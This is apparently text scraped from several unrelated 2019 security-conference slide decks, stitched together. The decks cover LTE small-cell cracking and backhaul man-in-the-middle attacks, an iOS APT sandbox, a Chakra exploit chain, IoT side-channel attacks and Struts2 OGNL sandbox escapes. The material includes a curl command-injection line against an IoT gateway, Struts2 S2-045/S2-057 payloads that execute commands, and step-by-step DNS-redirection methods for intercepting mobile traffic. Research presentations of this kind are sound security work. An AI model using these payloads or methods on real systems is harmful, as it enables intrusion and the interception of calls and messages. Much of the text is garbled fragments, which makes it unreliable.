1、2019山東海天軟件工程專修學院4G/LTE小基站破解與中間人攻擊PART 01個人簡介目錄CONTENTSPART 02通信安全研究趨勢PART 03小基站破解PART 04回傳網中間人攻擊01020304PART 05安全建議05PART 02通信安全研究趨勢移動通信技術的演進1G2G3G4G5G3GPP Releases4-78-9,10-1415,16Era1980s1990s2000s2010s2020sServicesAnalogVoiceDigitalVoice,MessagesWB Voice,Packet DataVoice,Video,Internet,AppsEveryt
2、hingDevicesData Rate0100 kbps(GPRS)10 Mbps(HSPA)100+Mbps(LTE/LTE-A)10 Gbps(NR)Delay500 ms100 ms10s ms5 ms通信安全研究的發展趨勢 系統化:協議標準、實現、部署、運維 端到端 全場景,復雜條件組合 模型化:協議:符號化、邏輯化 自動化:Fuzz更有效率的發掘通信安全隱患 通信協議本身:系統思考,覆蓋協議本身和不同協議交互,建立符號邏輯模型,自動遍歷各種組合尋找意外結果(需要建模和自動化工具),分析并驗證(需要實驗環境)。通信協議實現環節:對被測設備使用的通信協議結合應用場景建立測試用例(需要建
3、模和研發基于有限狀態機的自動化工具),運行測試用例(需要實驗環境)尋找意外結果,分析可能被利用的安全隱患并實際驗證(需要實驗環境)。工程實施與運維環節:從安全合規角度和攻擊者視角建立測試用例,在工程驗收時,以及運維中應例行運行測試工具對環境進行安全評估(需要測試工具,研發測試工具需要實驗環境)。通信安全研究的基礎通信安全實驗室 FOSS+SDR:必備 基于FOSS開發自動化測試工具和網絡攻擊工具 主流商用設備:對商用設備進行安全測試 演練真實商用通信網絡的攻防 對商用設備進行二進制研究,制作攻擊工具 主流UE:應支持5G:2020年LTE網絡架構和數據流DataGTP-UUDPIPL1/L2D
4、ataSigGTP-U/GTP-CUDPIPL1/L2DataIPL1/L2PDN、IMS、InternetSigGTP-CUDPIPL1/L2S1-US5/S8SGiS11S6aDiameterSCTP/TCPIPL1/L2NASRRCPDCPRLCMACPHYSGWeNBMMEPGWHSSRCPFUEGxNASS1APSCTPIPL1/L2S1-MMEDiameterSCTP/TCPIPL1/L2信令接口數據接口信令流數據流Uu通信安全實驗室LTE基礎版 UE:FOSS UE:PC Notebook+Ubuntu+srsUE/OAIUE+SDR(USRP B210/X310)COTS UE
5、:Android phone,iOS iPhone,4G modem eNodeB:FOSS eNodeB:PC Server+Ubuntu+OAI/srsLTE+SDR(USRP B210/X310)COTS eNodeB:Huawei BBU3910+pRRU3912+RHUB3908+ETP48100 COTS HeNB:ZTE、Ericsson、Comba EPC:FOSS EPC:PC Server+Ubuntu+OpenAir-CN/srsEPC/NextEPC+Kamailio/OpenIMS/Clearwater SeGW:FOSS IPSec Server:PC Server
6、+Ubuntu+Strongswan ACS:FOSS ACS:PC Server+Ubuntu+GenieACS EPC:Gigabyte Brix i7-5500,16G RAM eNodeB/RRU:UP Board+USRP B210/B200mini ThinkPad T440s+bladeRF/LimeSDR UE:Samsung,iPhone,OnePlus,ZTE,etc.LTE/4G個人實驗環境132G,3G,4G混合組網的結構移動通信網主要接口和協議GTP協議消息類型值消息舉例消息方向路徑管理消息Echo RequestEcho Response隧道管理消息Create B
7、earer RequestPGW-SGW,SGW-MME/S4-SGSNCreate Bearer ResponseMME/S4-SGSN-SGW,SGW-PGWModify Bearer RequestMME/S4-SGSN-SGW,SGW-PGWModify Bearer ResponsePGW-SGW,SGW-MME/S4-SGSNDelete Bearer RequestPGW-SGW,SGW-MME/S4-SGSNDelete Bearer ResponseMME/S4-SGSN-SGW,SGW-PGW移動性管理消息Identification Request新MME/SGSN-老M
8、ME/SGSNIdentification Response老MME/SGSN-新MME/SGSNGTP-C/GTP-UUDPIPL2L1GTP-C/GTP-UUDPIPL2L1S1-U/S3/S4/S11/S12GPRS Tunneling Protocol基于UDP用于在電信網里傳送網絡報文的隧道協議S1-AP協議(1)S1-APSCTPIPL2L1S1-APSCTPIPL2L1S1-MME基于SCTP,用于在基站和MME之間(S1-MME接口)的信令協議。用于實現以下功能:S1 Paging functionS1 UE Context Management functionInitial
9、 Context Setup FunctionUE Context Modification FunctionMobility Functions for UEs in ECM-CONNECTEDE-RAB Service Management functionNAS Signalling Transport functionNAS Node Selection FunctionS1-interface management functionsMME Load balancing FunctionLocation Reporting FunctionWarning Message Transm
10、ission functionOverload FunctionRAN Information Management FunctionS1 CDMA2000 Tunnelling functionConfiguration Transfer FunctionLPPa Signalling Transport functionTrace FunctionS1-AP協議(2)Elementary Procedure:Initiating Message:Successful Outcome:Unsuccessful Outcome:Response message:Response message
11、:Handover PreparationHANDOVER REQUIREDHANDOVER COMMANDHANDOVER PREPARATION FAILUREHandover Resource AllocationHANDOVER REQUESTHANDOVER REQUEST ACKNOWLEDGEHANDOVER FAILUREPath Switch RequestPATH SWITCH REQUESTPATH SWITCH REQUEST ACKNOWLEDGEPATH SWITCH REQUEST FAILUREHandover CancellationHANDOVER CANC
12、ELHANDOVER CANCEL ACKNOWLEDGESAE Bearer SetupSAE BEARER SETUP REQUESTSAE BEARER SETUP RESPONSESAE Bearer ModifySAE BEARER MODIFY REQUESTSAE BEARER MODIFY RESPONSESAE Bearer ReleaseSAE BEARER RELEASE COMMANDSAE BEARER RELEASE COMPLETEInitial Context SetupINITIAL CONTEXT SETUP REQUESTINITIAL CONTEXT S
13、ETUP RESPONSEINITIAL CONTEXT SETUP FAILUREResetRESETRESET ACKNOWLEDGES1 SetupS1 SETUP REQUESTS1 SETUP RESPONSES1 SETUP FAILUREUE Context ReleaseUE CONTEXT RELEASE COMMANDUE CONTEXT RELEASE COMPLETEUE Context ModificationUE CONTEXT MODIFICATION REQUESTUE CONTEXT MODIFICATION RESPONSEUE CONTEXT MODIFI
14、CATION FAILUREeNB Configuration UpdateENB CONFIGURATION UPDATEENB UPDATE CONFIGURATION ACKNOWLEDGEENB CONFIGURATION UPDATE FAILURES1-AP協議(3)Elementary ProcedureMessageHandover NotificationHANDOVER NOTIFYSAE Bearer Release RequestSAE BEARER RELEASE REQUESTPagingPAGINGInitial UE MessageINITIAL UE MESS
15、AGEDownlink NAS TransportDOWNLINK NAS TRANSPORTUplink NAS TransportUPLINK NAS TRANSPORTNAS non delivery indicationNAS NON DELIVERY INDICATIONError IndicationERROR INDICATIONUE Context Release RequestUE CONTEXT RELEASE REQUESTDownlinkS1 CDMA2000 TunnelingDOWNLINK S1 CDMA2000 TUNNELINGUplink S1 CDMA20
16、00 TunnelingUPLINK S1 CDMA2000 TUNNELINGUE Capability Info IndicationUE CAPABILITY INFO INDICATIONeNB Status TransfereNB STATUS TRANSFERMME Status TransferMME STATUS TRANSFERDeactivate TraceDEACTIVATE TRACETrace StartTRACE STARTTrace Failure IndicationTRACE FAILURE INDICATIONLocation Reporting Contr
17、olLOCATION REPORTING CONTROLLocation Reporting Failure IndicationLOCATION REPORTING FAILURE INDICATIONLocation ReportLOCATION REPORTDiameter協議命令名稱縮寫 命令碼Update-Location-RequestULR316Update-Location-AnswerULA 316Cancel-Location-RequestCLR317Cancel-Location-AnswerCLA317Authentication-Information-Reques
18、tAIR318Authentication-Information-AnswerAIA318Insert-Subscriber-Data-RequestIDR319Insert-Subscriber-Data-AnswerIDA319DiameterSCTPIPL2L1DiameterSCTPIPL2L1S6a/GxDiameter協議,基于SCTP,是用于AAA(鑒權、認證和計費)的基本協議和一組應用?;緟f議提供可靠傳輸、消息傳送和差錯處理的基本機制。Diameter協議用于PGW與PCRF之間,用于傳遞用戶的Qos規則以及計費規則。Diameter協議用于MME與HSS之間完成鑒權、授權
19、、位置管理以及用戶數據管理等功能,主要消息包括:鑒權消息,完成用戶合法性檢查。位置更新消息,記錄或更新用戶的位置信息。HSS發起清除MME中的用戶記錄。HSS發起的插入用戶簽約數據。HSS發起刪除MME中保存的所有或者部分用戶數據。MME通知HSS刪除去附著用戶的簽約數據和MM上下文。當用戶狀態變化、終端改變或者用戶當前APN(接入點名)的P-GW信息改變時,MME向HSS發通知請求消息。越來越小的基站為什么要研究小基站 5G將帶來大量的小基站 小基站的安全性不強 小基站易受攻擊為什么要研究回傳網(backhaul)回傳網的安全性一直未受重視 回傳網易于物理接觸 回傳網被攻擊的危害很大為什么要
20、研究和實現中間人攻擊 中間人攻擊能方便的監聽、篡改、仿冒通信內容 中間人攻擊是更高級更深入的攻擊的基礎 能實現對特定目標的中間人攻擊是掌控通信網的標識移動通信網的攻擊面 空中接口()接入網()核心網()運營商互聯()Modem基帶 廠商OTA WiFi/BT基帶 SIM卡 IPv6 WiFi網絡基于4G/LTE的中間人攻擊 目的:短信:偵聽,必要時截留、篡改或仿冒短信;電話:偵聽,必要時攔截或仿冒電話通話;數據:偵聽,必要時屏蔽、篡改或仿冒數據通信內容。實現方式:空口:基于偽基站的LTE中繼+報文篡改(aLTEr)基于子幀信號覆蓋的報文篡改(SigOver)接入網:基于破解基站系統+Netfi
21、lter實現中間人攻擊 基于回傳網植入設備實現中間人攻擊(Hacking Box of S1)LTE空口(Air Interface)攻擊的基礎技術 LTE Relay 跟蹤每個用戶的通信報文 User Plane報文篡改 SigOver子幀信號覆蓋 EIA0 偽基站+信令網 FemtoCell RRC重定向 UE sends RRC connection request(with TMSI)C-RNTI used to filter out this specific request Find uplink transmission with the corresponding C-RNTI
22、 Match the C-RNTI and the TMSI追蹤特定UE的通信過程1.部署一個LTE中繼,一端扮演目標手機連接現網基站,一端扮演現網基站吸附目標手機,兩端之間可異地通過互聯網中繼。2.可成功完成目標手機和現網基站的雙向認證。3.手機和基站之間的用戶數據報文,使用ZUC或AES-CTR加密,兩種加密方式都是基于密碼流的XOR。4.LTE中繼判斷出DNS請求報文,修改DNS服務器地址為預先架設的惡意DNS,再調整報文的某些字段使報文校驗和為正常。之后,將修改后的報文發給現網基站。5.收到現網基站的DNS響應報文后,修改報文源IP地址為原DNS服務器,之后,將修改后的報文發給目標手機
23、。篡改報文,實現基于DNS的中間人攻擊1.克隆附近某個現網基站,包括TAC和PCI,保持時鐘同步,但不發射信號2.跟蹤該現網基站與UE的通信過程,并在特定時刻發射信號,注入組裝好的子幀(Subframe)3.在發射信號強度遠高于現網基站的情況下,可實現子幀信號覆蓋(Signal Overwrite)4.子幀覆蓋可實現報文篡改5.在滿足預知目標手機(或基站)的接收子幀和加密方式的前提下,可用來進行中間人攻擊子幀信號覆蓋,實現報文篡改子幀信號覆蓋(SigOver),攻擊成功率高LTE空口攻擊小結 被動式:Sniffing:無加密/密鑰來自核心網/密鑰來自SIM卡 主動式:中間人攻擊:Femto C
24、ell/Small Cell/偽基站 中間人攻擊:LTE Relay+加密報文篡改/EIA0 半主動式:SigOver:子幀信號覆蓋接入網(RAN)的安全隱患和攻擊方法 eNodeB 易于物理接觸 默認LMT密碼 可二進制,注入程序到文件系統 HeNB 易于物理接觸 皆可root 更改Firmware 回傳網 多數沒有IPSec保護,明文竊聽 可中間人攻擊基站的類型基站的類型 小基站:Small Cell=Pico Cell+Femto Cell缺乏物理保護的宏站(Macro Cell)隨身攜帶的宏站滲透工具 華為BBU本地管理電纜 華為隨身路由器WiFi2 Pro GPD Win掌上電腦PA
25、RT 03小基站破解一切Femto Cell都可破解為什么重視小基站(Small Cell)的安全 5G網絡運行于較高頻段,傳統宏基站穿透能力減弱,小基站將用來彌補宏基站覆蓋不足的地方 4G網絡已存在大量小站,用于深度室內覆蓋,數量超過150萬臺 5G會部署更多的小站,可能一戶一站,呈現替代WiFi的態勢 小站離用戶近,易于物理接觸和破解破解小基站后能看到什么-短信 SMS over NAS破解小基站后能看到什么-短信 SMS over IMS破解小基站后能看到什么-VoLTE通話 SIP AMR破解小基站后能看到什么-數據通信 GTP-U破解小基站后能看到什么-個人信息 IMSI 針對VoL
26、TE 附近人的手機號碼MSISDN IMEI Cell-ID IP 位置信息 高級版的IMSI Catcher支持LTE的PicoCell愛立信ENC-nRBS01完全無須破解的愛立信ENC-nRBS01支持LTE的PicoCell京信ENB-35破解后的京信ENB-35支持LTE的PicoCell中興BS8102破解后的中興BS8102支持LTE的PicoCell華為BTS3203支持LTE的PicoCell大唐fbs3211/3221網購FemtoCell(1)中國移動:GSM:京信HNB-10 TD-SCDMA:京信HNB-33、博威HN1200 TD-LTE:中興BS8102 T230
27、0、京信ENB-35、華為BTS3203、大唐fBS3211、愛立信ENC-nRBS01、邦訊BSNAP-300三元達LNC-2000E、三維SeNB2001網購FemtoCell(2)中國聯通:WCDMA:華為UAP2105/UAP2816/UAP2835/ePico3801/ePico3802 FDD LTE:中興BS8102 L1800/L2100網購FemtoCell(3)中國電信:CDMA:華為ePico3680 FDD LTE:中興BS8102 L1800Root FemtoCell 選購能正常工作的3G/4G FemtoCell SeGW/SIM卡失效的FemtoCell可能有老
28、版本的Firmware 獲得root權限 破解IPSec 偵聽往來通信 對往來通信實施中間人攻擊 連入運營商核心網,實施信令攻擊Root FemtoCell的硬件工具(1)數字萬用表 CP2102 杜邦線 SEGGER J-Link 熱風焊臺Root FemtoCell的硬件工具(2)BUS Pirate JTAGulator NAND/NOR Flash 讀寫器+TSOP48/56座Root FemtoCell的軟件工具TR-069服務器:GenieACS、XACS上傳Firmware、更新到舊版本/修改過的Firmware上傳/修改某些配置IDA Pro、GhidraQEmuOpenOCD
29、Binwalkfirmware-mod-kit十六進制編輯器破解小基站后實施中間人攻擊 攻擊程序運行于小基站 隱蔽,不宜被察覺 小基站配置低,CPU、內存、存儲空間均受限 小基站啟用IPSec情況下的一種折中選擇 攻擊程序運行于回傳網上的植入設備 小基站啟用IPSec,則需要先實現IPSec的中間人 可實現相對復雜的中間人攻擊 可運行用于中間人攻擊的各種應用服務器 基于DNS和IP,把連接重定向到預先架設的攻擊服務器便攜的小基站,隨身攜帶,隨時展開攻擊 保持便攜,可放入背包 移動供電,12V 互聯網接入 隨身WiFi路由器:帶RJ-45接口,華為WiFi2 Pro 回程網接入點:需互聯網可訪問
30、PART 04回傳網中間人攻擊小基站的回傳網(Backhaul)基于xPON(GPON,EPON)雙絞線到ONU 基于PTN、IP RAN 光纖 雙絞線到光纖收發器 基于Internet 雙絞線回傳網上的協議 用戶數據:GTP-U 信令:SCTP S1-AP協議,從eNodeB連接MME 網管運維數據:HTTP 可能被IPSec保護(從eNodeB到SeGW),不常見CommunicatingNodesProtocolProtocolPortsSourceDestinationSourceDestinationeNodeBS-GWGTP-U/UDP21522152S-GWeNodeBGTP-U
31、/UDP21522152eNodeBeNodeBGTP-U/UDP21522152eNodeBMMES1AP/SCTP3641236412MMEeNodeBS1AP/SCTP3641236412eNodeBeNodeBX2AP/SCTP3641236412我們關注的LTE協議和端口回傳網的安全隱患 IPSec是可選的。3GPP TS 33.401:In case the S1 management plane interfaces are trusted(e.g.physically protected),the use of protection based on IPsec/IKEv2 o
32、r equivalent mechanisms is not needed 問題在于:ONU之前的傳輸鏈路是不安全的。實踐中,絕大多數基站未啟用IPSec(加密和雙向認證)?;貍骶W上的中間人攻擊程序 植入于回程鏈路上的一臺雙網口設備 對用戶數據(GTP-U)的中間人攻擊:包含VoLTE短信和通話 對信令(S1AP)的中間人攻擊:包含短信(SMS over NAS)基站接入代理,可接入多臺偽基站,信令聚合后核心網無法察覺回傳網上的中間人攻擊:用戶數據 GTP-U的解包,打包 TEID和用戶的對應 一種MEC的實現方式回傳網上的中間人攻擊:信令 S1-AP協議 SCTP的代理 SCTP的聚合回傳網
33、上的植入物(Hacking Box of S1)雙千兆網卡 帶USIM槽 可通過4G模塊遠程訪問,可接入多臺基站 12V直流供電 運行S1中間人攻擊程序Hacking Box of S1的兩種模式 透明模式:可實現中間人攻擊 不需要修改eNodeB的配置 不支持接入多臺eNodeB 不支持IPSec 網關模式:可實現更復雜的中間人攻擊 要求能修改eNodeB的配置,將MME的IP地址改為HBOS的IP 相當于S1-AP信令網關,支持多eNodeB接入 將多條SCTP連接匯聚成一條,只注冊一次eNodeB,核心網只看到1臺eNodeB 可支持IPSecDemoPART 05安全建議安全建議:小基
34、站的安全加固 回傳網的安全謝謝觀看演講人:Seeker2019 美團 APT檢測設備的擴展研究 團隊介紹 朱學文(Ju Zhu)美團/高級安全研究員 9+年的安全研究經驗 7+年主要從事高級威脅的研究,包括0Day、nDay和漏洞挖掘 一直致力于使用自動化系統來Hunt野外的高級威脅 多次獲得CVE,且受到Google、Apple、Facebook等廠商的致謝 多次作為Speaker受邀參加BlackHat、CodeBlue、CSS等國內外的頂級安全會議 郭夢圓(Mabel Guo)上海交通大學/美團實習安全研究員 上海交通大學在讀碩士 研究生階段致力于視頻隱寫/隱寫分析研究 擅長iOS逆向以
35、及虛擬化技術 PART 01 設備選型對比 目錄 CONTENTS PART 02 解決方案對比 PART 03 iOS動態沙箱 PART 04 一些實踐 01 02 03 04 PART 01 業界主流APT檢測設備的選型對比 業界主流APT檢測設備的選型對比 概述 平臺支持性 文件類型支持性 內網接入設備類型統計 BYOD(Bring Your Own Device)業界主流APT檢測設備的選型對比 平臺支持性 Windows MacOS iOS Android 其它其它 廠商廠商1 廠商廠商2 廠商廠商3 Win7、Win10、。32位、64位 自定義導入 業界主流APT檢測設備的選型對
36、比 文件類型支持性 PE Office PDF Mach-O plist APK 廠商廠商1 廠商廠商2 廠商廠商3 Mach-O 虛擬內存VMP屬性 導入相關依賴庫 模擬實現(比如Foundation.framework)運行 找到入口地址(比如main函數)Load Commands-LC_MAIN 絕對地址=入口地址 +slide+text_vm_addr 地址(Rebase數據)修正 Lazy Symbol Pointer、CFString 原數據(Pointer)新數據(Pointer)Lazy Symbol Pointer 0 x100007F9C-slide+0 x100007F
37、9C CFString 0 x100007FA8-slide+0 x100007FA8 地址(API)重定向 Lazy Symbol Pointer數據 NSLoglibFoundation.so API重定向流程 完整運行流程 回調流程 部署 更好適配 ODM(Original Design Manufacturer)PART 04 一些實踐 謝謝觀看 演講人:朱學文(Ju Zhu)?0?WHO AM I?CONTENTS1?Chakra vulnerability2?Bypass ASLR&DEP3?Bypass CFG4?Bypass CIG5?Bypass ACG6?Exploit7?
38、Q&A?The vulnerability was discovered on May 31,2016.The vulnerability was fixed in February 2017.?NativeIntArray struct:NativeIntArrayHeadSegment:leftlengthsizeNext segmentheadSegment:leftlengthsizeNext segmentBufferBufferlength?NativeIntArray struct:?Make var_Array_1 object reach a special state.Ma
39、ke var_Array_1-length smaller.?Make var_Array_1 object reach a special state.Array.length (head.next.left+head.next.length)0 x2e(0 x03d2 +0 x2e)Segment:headLeft:0 x00000000Length:0 x00000000Size:0 x00000012Next segmentSegment:head.nextLeft:0 x000003d2Length:0 x0000002eSize:0 x0000002eNext segmentBuf
40、fer:0 x00000012*4Buffer:0 x0000002e*4NativeIntArrayHeadheadLength:0 x0000002e?Make var_Array_1 object reach a special state.Array.length (head.next.left+head.next.length)0 x2e(0 x03d2 +0 x2e)?Make var_Array_1 object reach a special state.?Callback function causes length to be modified.But the Revers
41、eHelper function still uses the old length.?Segment:headLeft:0 x00000000Length:0 x00000000Size:0 x00000012Next segmentSegment:head.nextLeft:0 x000003d2Length:0 x0000002eSize:0 x0000002eNext segmentBuffer:0 x00000012*4Buffer:0 x0000002e*4NativeIntArrayHeadheadLength:0 x0000002eMake var_Array_1 object
42、 reach a special state.Array.length (head.next.left+head.next.length)0 x2ehead.size smaller.?step 1var_Array_1-head.size:0 x2e-0 x23var_Array_1-head.size:0 x23 head.length:0 x2eSegment:headLeft:0 x00000000Length:0 x0000002eSize:0 x00000023Next segmentSegment:head.nextLeft:0 x00000023Length:0 x000000
43、0bSize:0 x00000012Next segmentBuffer:0 x0000002e*4Buffer:0 x00000012*4NativeIntArrayHeadheadLength:0 x0000002e?step 1var_Array_1-head.size:0 x2e-0 x23var_Array_1-head.size:0 x23 head.length:0 x2e?step 1seg-left=0seg-EnsureSizeInBound():seg.size=0 x23?step 1Min(Next-left,Size)-Min(0 x2e,0 x23)?step 1
44、var_Array_1-head.size:0 x2e-0 x23var_Array_1-head.size:0 x23 head.length:0 x2eSegment:headLeft:0 x00000000Length:0 x0000002eSize:0 x00000023Next segmentSegment:head.nextLeft:0 x00000023Length:0 x0000000bSize:0 x00000012Next segmentBuffer:0 x0000002e*4Buffer:0 x00000012*4NativeIntArrayHeadheadLength:
45、0 x0000002e?Step 2Create OOB?Step 2ConvertToJavascriptArray:Create new segmentSeg.buffer=0 x23*0 x08,Seg.length=0 x2eSegment:head OOBLeft:0 x00000000Length:0 x0000002eSize:0 x00000023Next segmentSegment:head.nextLeft:0 x00000023Length:0 x0000000bSize:0 x00000011Next segmentOOB:0 x0b*0 x08Buffer:0 x0
46、0000011*4JavascriptArrayHeadheadLength:0 x0000002eBuffer:0 x00000023*8?Step 2Seg.buffer=0 x23*0 x08;Seg.length=0 x2e;?Step 3Segment layoutArray 1 Segment:headLeft:0 x00000000Length:0 x0000002eSize:0 x00000023Next segmentBuffer:0 x00000023*8Array 2 Segment:headLeft:0 x00000023Length:0 x0000000bSize:0
47、 x23OOB Write?Step 3Segment layout and segment OOB?Step 4Edit var_Array_2.head.sizeArray 1 Segment:headLeft:0 x00000000Length:0 x0000002eSize:0 x00000023Next segmentBuffer:0 x00000023*8Array 2 Segment:headLength:0 x0000000bSize:0 xffffffffOOB WriteLeft:0 x00000023?Step 4Edit var_Array_2.head.size?Ar
48、ray 1 Segment:headLeft:0 x00000000Length:0 x0000002eSize:0 x00000023Next segmentBuffer:0 x00000023*8Array 2 Segment:headLength:0 x0000000bSize:0 xffffffffLeft:0 x00000023Segment:head.nextLeft:0 x00000023Length:0 x0000000bSize:0 x00000011Next segmentBuffer:0 x00000011*40 x7fffffff?Step 5var_Array_2 O
49、OB r/wArray 2 Segment:headLeft:0 x00000000Length:0 x0000000bSize:0 xffffffffNext segmentBuffer:0 x00000023*8OOB 0 xffffffff*8?Step 5var_Array_2 OOB r/w?Step 6Fill Memory r/wInline HeadEdit NativeIntArray.length,NativeIntArray.head.length,NativeIntArray.size?Step 6Fill Memory r/wInline HeadEdit Nativ
50、eIntArray.length,NativeIntArray.head.length,NativeIntArray.sizememoryOOB segmentNativeIntArrayobjectedit array.lengtharray.head.sizearray.head.lengthout of bound memory read/write?Step 6Fill Memory r/wDataView?Step 6Fill Memory r/wDataView?Step 6Fill Memory r/wDataView?Step 6Fill Memory r/wDataView?
51、Step 6Fill Memory r/wDataView?CONTENTS1?Chakra vulnerability2?Bypass ASLR&DEP3?Bypass CFG4?Bypass CIG5?Bypass ACG6?Exploit7?Q&A?Module address and object address?Module address and object address?ROP?VirtualProtect?VirtualAlloc?BB?C?(DC(?A?:?EC?M?G?I?.?C?BB?C?(DC(?1?B?BB?C?(DC(?D?CE?I?OC?D?)?G.!?C?4
52、14?5443?6?I?CA?6?21?1C(?A?:?EC?M?G?I?.?C?BB?C?(DC(?1?B?BB?C?(DC(?D?CE?I?OC?D?)?G.!?C?414?5443?6?I?CA?6?21?1?0?3?1?CONTENTS1?Chakra vulnerability2?Bypass ASLR&DEP3?Bypass CFG4?Bypass CIG5?Bypass ACG6?Exploit7?Q&A?Control Flow Guard(CFG);=C?4?!?4?/;=C?4?!?4?/?4?C?A?:?A?=?;=C?4?!?4?:?000?0?4?0?:0?A?A?:
53、?:?A4,?4?:+?4A;=C?4?!?4?:?4?;=C?4?!?4?/?:?=?A?4?/?Control Flow Guard(CFG)bitmapindex offset :data0 x0077b960 0 x01dee58c:0 x555555550 x0077b964 0 x01dee590:0 x300105550 x0077b968 0 x01dee594:0 x04541041bt:0 x30010555&0 x400!=000000100 00000000=0 x40001010=0 x0a=10Functionaddress:0 x77b964500 x77b964
54、50:01110111 10111001 01100100 01010000?Leak stack address?Finding the return address of a specific function.?Modify the functions return address.?Control RIP.?CONTENTS1?Chakra vulnerability2?Bypass ASLR&DEP3?Bypass CFG4?Bypass CIG5?Bypass ACG6?Exploit7?Q&A?Code Integrity Guard(CIG)Only properly sign
55、ed DLLs are allowed to load by a processus-14-Yu-Write-Once-Pwn-Anywhere?“LoadLibrary”in ShellCodeLoad DLL file into MemoryParse PE header Reload sectionsFix Import TableRebaseElevation of privilege is Quite ComplexShellcode reusableIncrease privileges and Escape SandBox can be in a DLL?CONTENTS1?Ch
56、akra vulnerability2?Bypass ASLR&DEP3?Bypass CFG4?Bypass CIG5?Bypass ACG6?Exploit7?Q&A?Two general ways load malicious native code into memoryLoad malicious DLL/EXE from diskDynamic generate code CIG block the first wayOnly properly signed DLLs are allowed to load by a processChild process can not be
57、 created(Windows 10 1607)ACG block the second wayCode pages are immutableNew,unsigned code cannot be created?Arbitrary Code Guard(ACG)?Leverage valid signed code in an unintended wayROP(Return oriented programming)It could construct a full payload?Call API Function?ExampleNo need of shellcodeJust li
58、ke C code?ExampleNo need of shellcodeJust like C code?CONTENTS1?Chakra vulnerability2?Bypass ASLR&DEP3?Bypass CFG4?Bypass CIG5?Bypass ACG6?Exploit7?Q&A?Demo?CONTENTS1?Chakra vulnerability2?Bypass ASLR&DEP3?Bypass CFG4?Bypass CIG5?Bypass ACG6?Exploit7?Q&A?https:/IOT安全-測信道實戰2019議程.測信道的那點事.測信道案例簡析.測信道
59、Power Analysis測信道的那點事測信道攻擊是一種針對軟件或硬件設計缺陷,劍走偏鋒的攻擊方式攻擊途徑通常采用被動式監聽,或通過特殊渠道發送隱蔽數據信號攻擊點不在暴力破解,而是通過功耗;時序;電磁泄漏等方式達到破 解 目 的.在 很 多 物 理 隔 絕 的 環 境 中,往 往 也 能 出 奇 制 勝測信道測信道.Public key signature check.Bootloader 加固(bootdelay=0).屏蔽調試端口 UART;JTAG;SPI;I2C .電子設備全部物理隔離(Air Gapping)測信道 WordPress測信道 Drupal測信道門禁 測信道門禁 被動
60、式:聲波信號采集還原打印機原文:美國 NSA 電磁波監聽(TEMPEST):功耗分析破解南韓公交卡密鑰系統(3DES):功耗分析獲取 Philipe Hue 智能燈系統密鑰(AES)主動式:Xbox360 Glitch 攻擊(運行 unsigned code):智能網關 Hue NAND Glitch(得到 Root 權限):通過毛刺注入成功獲取硬件錢包 Trezor 閃存敏感信息:以色列 Ben-Gurion 大學通過 USB 發送電磁信號(USBee)測信道案例簡析時耗分析時耗分析NAND-GlitchNAND-Glitch物聯網設備網關(WinkHub)通過網頁對其進行訪問(set_de
61、v_value.php)curl“192.168.01/set_dev_value.php”-d“nodeId=a&attrId=;uname-a;”NAND-Glitch.NAND Flash 通常存儲固件;Bootloader;內核以及root files.使用數據線在系統啟動,讀取 NAND 內核信息瞬間,短接 I/O pin.在正確的時間點,阻止 Bootloader 讀取正確的內核數據從而進入 shell 模式NAND-Glitch測信道 Power Analysis功耗分析.Power analysis(Simple&Differential).處理器運行不同指令在功耗需求上也不近
62、相同.需要了解目標設備所采用的加密算法.信號的采集必須在加密或解密的過程中完成功耗分析功耗分析(ChipWhisperer).Colin OFlynn 設計制作,學習 SCA 功耗分析和毛刺注入神器.基于Python 跨平臺開源軟硬件項目(Windows;Linux;MacOS).可用于時序或電壓毛刺注入攻擊測試,產生 無限循環).尋找目標設備在特定時刻(加密/解密)功耗圖形的差異功耗分析(SPA)功耗分析(DPA)目標設備測量方法測量結果功耗分析(DPA)功耗分析(DPA)功耗分析(AES-128)功耗分析(DPA)功耗分析(電磁信號).電磁波可通過 H 探頭和軟件無線電設備遠程獲取.芯片0
63、1轉換產生電磁波從空氣中泄漏,其中包含密 鑰指紋信息.Tel Aviv 大學科研人員通過測量分析電磁發射獲取 GnuPG 密鑰信息功耗分析(電磁信號)功耗分析(DPA)One More Thing.測信道 EMFI測信道 EMFI測信道 EMFI測信道 EMFI測信道 EMFISummarySummary百分百安全的系統并不存在邊信道分析與防御,硬件安全必備技能完美的設計,實施過程中百密疏,將導致系統完全崩潰謝謝觀看?PART 01?CONTENTSPART 02?PART 03?PART 04?01020304?PART 01?1?2?3?1?SecurityManager?2?3?Secu
64、rityManager?PART 02?SecurityMemberAccessconstant name=struts.excludedClassesvalue=java.lang.Object,java.lang.Runtime,java.lang.System,java.lang.Class,java.lang.ClassLoader,java.lang.Shutdown,java.lang.ProcessBuilder,ognl.OgnlContext,ognl.ClassResolver,ognl.TypeConverter,ognl.MemberAccess,ognl.Defaul
65、tMemberAccess,com.opensymphony.xwork2.ognl.SecurityMemberAccess,com.opensymphony.xwork2.ActionContext/1?2?isAccessible?3?struts-default.xmlStruts2S2-001S2-014S2-032S2-045S2-057(#p=new java.lang.ProcessBuilder(calc).(#p.start()(#_memberAccessallowStaticMethodAccess=true).(java.lang.RuntimegetRuntime(
66、).exec(calc)(#container=#contextcom.opensymphony.xwork2.ActionContext.container).(#ognlUtil=#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass).(#ognlUtil.excludedClasses.clear().(#ognlUtil.excludedPackageNames.clear().(#context.setMemberAccess(ognl.OgnlContextDEFAULT_MEMBER_ACCESS).(
67、java.lang.RuntimegetRuntime().exec(calc)(#_memberAccess=ognl.OgnlContextDEFAULT_MEMBER_ACCESS).(java.lang.RuntimegetRuntime().exec(calc)S2-045 PAYLOAD$(#c=#requeststruts.valueStack.context).(#container=#ccom.opensymphony.xwork2.ActionContext.container).(#o=#container.getInstance(com.opensymphony.xwo
68、rk2.ognl.OgnlUtilclass).(#o.getExcludedClasses().clear().(#o.getExcludedPackageNames().clear().(#dm=ognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#c.setMemberAccess(#dm).(#cmd=(calc).(new java.lang.ProcessBuilder(#cmd).start()S2-057 PAYLOADpublic class OgnlContext extends Object implements Mappublic stati
69、c final String CONTEXT_CONTEXT_KEY=context;public static final String ROOT_CONTEXT_KEY=root;public static final String THIS_CONTEXT_KEY=this;public static final String MEMBER_ACCESS_CONTEXT_KEY=_memberAccess;public class OgnlContext extends Object implements Mappublic static final String ROOT_CONTEX
